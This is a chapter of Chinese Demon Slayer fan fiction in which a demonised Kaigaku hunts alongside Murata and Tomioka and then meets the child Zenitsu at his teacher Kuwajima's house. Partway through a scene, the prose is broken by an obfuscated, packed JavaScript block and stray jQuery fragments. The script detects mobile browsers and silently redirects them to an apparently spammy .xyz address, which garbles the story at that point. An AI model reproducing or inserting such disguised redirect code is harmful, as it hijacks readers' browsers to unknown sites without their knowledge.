6. 第六章

作品:《身上勾玉越来越多了

    在鎹鸦一连啄村田好几下,并且被狯岳“再哔哔就砸死你”的眼神威胁之后,村田哭丧着脸出发。


    见狯岳不紧不慢跟着自己,作为一个14岁的‘大人’,他终于有点责任感。


    只见村田理理头发,抹上山茶花油,强行让自己看上去靠谱,“小孩你放心,虽然不知道你怎么通过最终选拔的,但我会尽量让你活下去。”


    “嘎嘎,不是。”鎹鸦又啄一下村田,“笨蛋!没有队服,不是!”


    “原来不是吗?那难不成是后勤,有人的刀坏了过来送刀的吗?”村田猜测,想了想又觉得不像,刀都是锻刀匠送吧。


    他直接问狯岳,“小孩你是来干嘛的?”


    狯岳面无表情的吐出两个字,“看戏。”顺便觅食。


    “啊?”村田怀疑是自己耳朵出问题,“看戏?什么戏?是看戏的看戏那两个字吗?”


    鎹鸦落到狯岳身上,蹭蹭他,“主公同意了,主公让他跟着,嘎~”


    眼见自己的鎹鸦这么亲近一个莫名其妙的小孩,村田脸色扭曲。


    这个世界是不是太荒谬了点,自己的鎹鸦天天嫌弃自己蠢,九死一生的任务还被奇怪的小崽子当戏看。


    在村田质疑整个世界的想法里,他们来到废弃的钟楼,因为离得近,是第一个,其他人还没来。


    “小孩你在这里待着啊,想看斩鬼什么的在外面看就行了。”村田放弃思考,决定按照一个正常人的样子把狯岳安置好。


    有日轮刀在身的话,估计是哪个培育师的学生吧?


    虽然这小孩很离谱,但他是个14岁的大人,要靠谱的从小孩的角度思考问题。


    作为培育师的学生,在学习过怎么斩鬼之后,想要实地观摩一下很正常的对吧?虽然很危险,也不知道为什么主公会同意,但是逻辑通对吧?


    等他出完任务就找这小孩的培育师告状。


    “好。”狯岳带着鎹鸦往树上跑,打量起门窗紧闭的钟塔。


    鬼化后可以闻到血的味道,有些驳杂,至少十个人葬身钟塔。


    “村田。”树下,村田的队友到了,半红半绿的羽织很有特色。


    村田惊喜,“富冈,你也接到这个任务了。”有认识的人真是太好了。


    好像是未来的水柱。


    狯岳不确定的想,他关于未来的记忆有些模糊,只有见到人才能有些印象,和老头子的情况一样,大差不差是地狱那边弄的。


    有一个未来水柱在,看来这次没问题。


    ——出问题了。


    “想伤害神明大人的人,滚出去!”愚昧的村民在受伤的富冈义勇即将把鬼斩首时,冲过去把人推倒,然后护在鬼身前。


    昏暗的钟塔里,他们根本没办法避开人群杀鬼。


    第一次遭遇这种情况的村田不知所措,还想和村民解释,“那是吃人的鬼,是怪物!”


    鬼扬起肆无忌惮的笑,退到赶过来的村民身后。


    “神明大人吃的都是坏人!”


    “就是,还好神明大人上次把想要打劫我的小混混吃掉了,要不然我就遭殃了!”


    “麻烦。”“嘎,确实,麻烦。”


    “砰,砰,砰”


    看见叫嚷着的村民突然一个个倒地,村田挠挠头,“怎么回事?”


    富冈看见细弱的闪电,明白应该是有雷之呼吸的使用者支援,调整呼吸,跟着一起有刀背把村民打晕。


    鬼见情况不对,就要抓人质,想伸手才发现自己已经四分五裂。


    是雷之呼吸二之型,稻魂。


    过快的斩击速度让他被劈成五截还没发现自己被攻击。


    可恶,怎么会这样!


    不行,他要跑,他不要死!


    看着倒一地的村民,狯岳啧一下,随手拿起鬼一条胳膊啃。


    “杀掉了?”富冈问。


    “没,你去用日轮刀砍一下。”因为日轮刀砍完会灰飞烟灭,所以他没用。


    “你在吃什么?”村田听着嘎吱嘎吱的声音,毛骨悚然。


    “鬼。”


    村田:!


    什么人啊,竟然吃鬼!


    富冈:感觉也是鬼,砍一下试试


    狯岳:边吃边打起来jpg


    村田:不要内讧啊!


    让村田糟心的任务之旅拉开序幕。


    一月后的某个晚上,狯岳心情愉悦的又一次觅食结束,刚刚戴上面具遮住鬼化后非人容貌,突然嗅到桑岛的气息。


    他嗅觉普通,但他送桑岛勾玉了,鬼化后闻到自己勾玉的味道很轻松。


    “狯岳君,怎么了?”村田警惕起来。


    虽然狯岳经常不理人,但实力是真的厉害。


    不说别的,那训练强度光是看就看得他想躺尸,这小孩还说什么大实话,‘你很弱,不用跟着我练’。


    拜托,比不过一个小孩真的很伤自尊心诶!


    为了自尊心,他跟!富冈能跟一半,他至少要能跟五分之一吧?


    跟一天之后,村田把他的自尊心丢了。


    人要敢于承认自己的弱小。


    见狯岳若有所思,没有回话,村田放松警惕,看来不是附近还有没解决的鬼。


    他准备随便扯点话题吸引注意力,“我们嘚先找个地方住,附近也没有藤之屋。”


    旁边的富冈也点点头。


    “去我老师那吧。”狯岳很想知道怹老人家在这边干什么。


    鎹鸦来的信中,他早知老头子闲不住跑出来玩,倒是不意外人在这里,只有好奇。


    狯岳的老师?


    抱着看奇人的想法,两个年轻剑士跟过去。


    那是户有些破旧的人家,狯岳敲敲门,没有出声。


    只听“嘎吱”一声,门开了。


    狯岳刚刚准备和不知道为什么僵住的桑岛问好,就看见一个黑色头发的半眼熟小孩待在桑岛师傅身后,探出脑袋看自己。


    狯岳:……


    一定是他开门的方式不对。


    那废物要到13岁才会被老头子捡回去,现在最多7岁。


    他直接关门就走,一点不含糊。


    村田富冈面面相觑。


    村田:认错人了?


    富冈:可能。


    “诶,狯岳。”桑岛追出来,还举起年幼的善逸,试图说服狯岳,“别走这么快啊,你看小善逸很乖的。”


    善逸瑟瑟发抖,不知道素未谋面的师兄为什么用可怕的眼神瞪着他,心声也好可怕,只唯唯诺诺叫出一声,“大…师兄好。”


    呵呵。


    “初次见面,我. 妻. 善. 逸。”面具一揭,狯岳嘴角上扬,一字一顿的说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942626|160786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “咿啊啊啊啊啊——爷爷救命——”为什么会知道我全名啊!那眼睛又是怎么回事?不是人吧?绝对不是人吧!


    听到这一声爷爷,桑岛就知道要完。


    时间倒转回几天前,桑岛跟着好不容易找到的善逸回家。


    “爷爷,剑士是什么?鬼杀队是什么?”善逸好奇的问。


    在母亲死后就一直靠遗产独立生存的小孩一听到桑岛想要收养自己,就立马答应下来,完全没有想过剑士是什么。


    而且因为听心声是很好很好的人,就直接带回家里,全然忘记之前几次带人回家,最后都被抢了钱,还好邻居帮忙才活下来。


    “鬼杀队就是……”


    桑岛耐心的给善逸科普,讲的口干舌燥才让年纪尚小的善逸听明白,悠哉悠哉喝起茶。


    现在两个徒弟都捡回来了,开心。


    “听起来好可怕!”善逸抱着桑岛的腿,一脸惊恐,“我可以不学吗?”


    “善逸,你很有天赋。”桑岛没有和上次一样急,只浅浅说一下,“不过你还小,现在确实不用学那么多。”


    善逸窝在桑岛怀里,听着他的心声。


    如果爷爷真的很想他学的话,他会学的。


    和小徒弟温存一会儿,桑岛又忧心起两个徒弟之间的关系。


    “爷爷?”善逸疑惑的抬起头。


    他好像听到杂乱的心声,是思考东西思考不出来的声音。


    听到这一声爷爷,桑岛脸色严肃起来,仔细叮嘱,“善逸,你有个大哥咳咳不对,你有个师兄,你师兄在的时候,绝对不能叫我爷爷,要叫我老师,而且千万不能叫你师兄大哥。”


    这样应该成吧?


    结果完全不成。


    看一眼那边一言不发正在冷静的狯岳,再看看这边小可怜样的善逸,桑岛觉得自己实在是太难了。


    两个手心都是肉,他是哪个也不想委屈。


    村田戳戳狯岳,“你没事吧?”


    虽然小孩日常对他寡言少语,和富冈交流的更多,但他还是很在意这小孩的好吧。


    他就没见狯岳这样子过!


    狯岳转头盯着趴桑岛腿上的善逸两秒钟,把人吓得头都不敢抬之后,转回来,超级不爽的一声,“啧。”


    “稻玉,你嫉妒了啊。”富冈恍然大悟。


    “富冈,别说出来!”村田整个一大惊失色,连忙捂住富冈的嘴。


    富冈很疑惑,富冈真诚的提出建议,“你才八岁,可以也过去趴着。”


    “你,”狯岳指富冈,“吃饭,别说话。”


    “你,”狯岳指村田,“把鎹鸦借我用。”


    “吃完了。”富冈举碗,“不去看看吗?你师弟吓晕了。”不喜欢的话,看着被吓晕的师弟开心开心。


    狯岳直接给他加冒尖,“闭嘴吃饭。”


    富冈:?


    冰蓝色眼睛的少年很委屈,不明白小伙伴为什么这样做。


    产屋敷宅。


    凌晨四点,主公睁开还有些迷茫的眼睛,看向狯岳的信。


    信的内容简洁明了。


    老师有新徒弟了,我现在烦的可以单杀下弦五、六,给我(划掉)给富冈村田任务。


    主公:这真是……


    他不是许愿机,可不知道下弦在哪里啊,狯岳君。